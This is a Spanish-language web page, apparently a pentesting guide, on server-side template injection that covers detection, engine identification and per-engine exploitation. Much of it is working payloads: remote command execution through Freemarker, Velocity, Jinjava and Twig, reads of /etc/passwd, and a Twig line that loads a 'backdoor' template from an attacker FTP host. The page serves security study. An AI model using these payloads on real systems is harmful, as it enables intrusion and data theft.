RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
¿Qué es SSTI (Inyección de Plantillas del Lado del Servidor)?
La inyección de plantillas del lado del servidor es una vulnerabilidad que ocurre cuando un atacante puede inyectar código malicioso en una plantilla que se ejecuta en el servidor. Esta vulnerabilidad se puede encontrar en varias tecnologías, incluyendo Jinja.
Jinja es un motor de plantillas popular utilizado en aplicaciones web. Consideremos un ejemplo que demuestra un fragmento de código vulnerable utilizando Jinja:
En este código vulnerable, el parámetro name de la solicitud del usuario se pasa directamente a la plantilla utilizando la función render. Esto puede permitir potencialmente a un atacante inyectar código malicioso en el parámetro name, lo que lleva a una inyección de plantilla del lado del servidor.
Por ejemplo, un atacante podría crear una solicitud con una carga útil como esta:
El payload {{bad-stuff-here}} se inyecta en el parámetro name. Este payload puede contener directivas de plantilla Jinja que permiten al atacante ejecutar código no autorizado o manipular el motor de plantillas, potencialmente ganando control sobre el servidor.
Para prevenir vulnerabilidades de inyección de plantillas del lado del servidor, los desarrolladores deben asegurarse de que la entrada del usuario esté debidamente saneada y validada antes de ser insertada en las plantillas. Implementar validación de entrada y utilizar técnicas de escape conscientes del contexto puede ayudar a mitigar el riesgo de esta vulnerabilidad.
Detección
Para detectar la Inyección de Plantillas del Lado del Servidor (SSTI), inicialmente, fuzzing de la plantilla es un enfoque sencillo. Esto implica inyectar una secuencia de caracteres especiales (${{<%[%'"}}%\) en la plantilla y analizar las diferencias en la respuesta del servidor a datos regulares frente a este payload especial. Los indicadores de vulnerabilidad incluyen:
Errores lanzados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
Ausencia del payload en la reflexión, o partes de él faltantes, lo que implica que el servidor lo procesa de manera diferente a los datos regulares.
Contexto de Texto Plano: Distinguir de XSS verificando si el servidor evalúa expresiones de plantilla (por ejemplo, {{7*7}}, ${7*7}).
Contexto de Código: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiar greeting en http://vulnerable-website.com/?greeting=data.username para ver si la salida del servidor es dinámica o fija, como en greeting=data.username}}hello devolviendo el nombre de usuario.
Fase de Identificación
Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads específicos de lenguaje. Los payloads comunes que causan errores incluyen ${7/0}, {{7/0}}, y <%= 7/0 %>. Observar la respuesta del servidor a operaciones matemáticas ayuda a identificar el motor de plantillas específico.
una tabla interactiva que contiene los poliglotas de inyección de plantillas más eficientes junto con las respuestas esperadas de los 44 motores de plantillas más importantes.
Explotaciones
Genérico
En esta lista de palabras puedes encontrar variables definidas en los entornos de algunos de los motores mencionados a continuación:
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Recuperar las variables de entorno del sistema
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Bypass de sandbox
⚠️ solo funciona en versiones de Freemarker anteriores a 2.3.30
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
En Thymeleaf, una prueba común para vulnerabilidades SSTI es la expresión ${7*7}, que también se aplica a este motor de plantillas. Para la posible ejecución remota de código, se pueden usar expresiones como las siguientes:
Thymeleaf requiere que estas expresiones se coloquen dentro de atributos específicos. Sin embargo, se admite inlining de expresiones para otras ubicaciones de plantillas, utilizando sintaxis como [[...]] o [(...)]. Así, una carga útil de prueba SSTI simple podría verse como [[${7*7}]].
Sin embargo, la probabilidad de que esta carga útil funcione es generalmente baja. La configuración predeterminada de Thymeleaf no admite la generación dinámica de plantillas; las plantillas deben estar predefinidas. Los desarrolladores tendrían que implementar su propio TemplateResolver para crear plantillas a partir de cadenas sobre la marcha, lo cual es poco común.
Thymeleaf también ofrece preprocesamiento de expresiones, donde las expresiones dentro de dobles guiones bajos (__...__) son preprocesadas. Esta característica se puede utilizar en la construcción de expresiones, como se demuestra en la documentación de Thymeleaf:
#{selection.__${sel.code}__}
Ejemplo de Vulnerabilidad en Thymeleaf
Considera el siguiente fragmento de código, que podría ser susceptible a explotación:
Esto indica que si el motor de plantillas procesa estas entradas de manera incorrecta, podría llevar a la ejecución remota de código accediendo a URLs como:
{{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Busca "com.hubspot.content.hubl.context.TemplateContextRequest" y descubre el proyecto Jinjava en Github.
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Expression Language (EL) es una característica fundamental que facilita la interacción entre la capa de presentación (como páginas web) y la lógica de la aplicación (como beans gestionados) en JavaEE. Se utiliza ampliamente en múltiples tecnologías de JavaEE para agilizar esta comunicación. Las principales tecnologías de JavaEE que utilizan EL incluyen:
JavaServer Faces (JSF): Emplea EL para vincular componentes en páginas JSF a los datos y acciones correspondientes en el backend.
JavaServer Pages (JSP): EL se utiliza en JSP para acceder y manipular datos dentro de las páginas JSP, facilitando la conexión de elementos de la página con los datos de la aplicación.
Contexts and Dependency Injection for Java EE (CDI): EL se integra con CDI para permitir una interacción fluida entre la capa web y los beans gestionados, asegurando una estructura de aplicación más coherente.
Consulta la siguiente página para aprender más sobre la explotación de intérpretes de EL:
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates es un motor de plantillas nativo de PHP, que se inspira en Twig. Sin embargo, a diferencia de Twig, que introduce una nueva sintaxis, Plates aprovecha el código PHP nativo en las plantillas, lo que lo hace intuitivo para los desarrolladores de PHP.
Controlador:
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);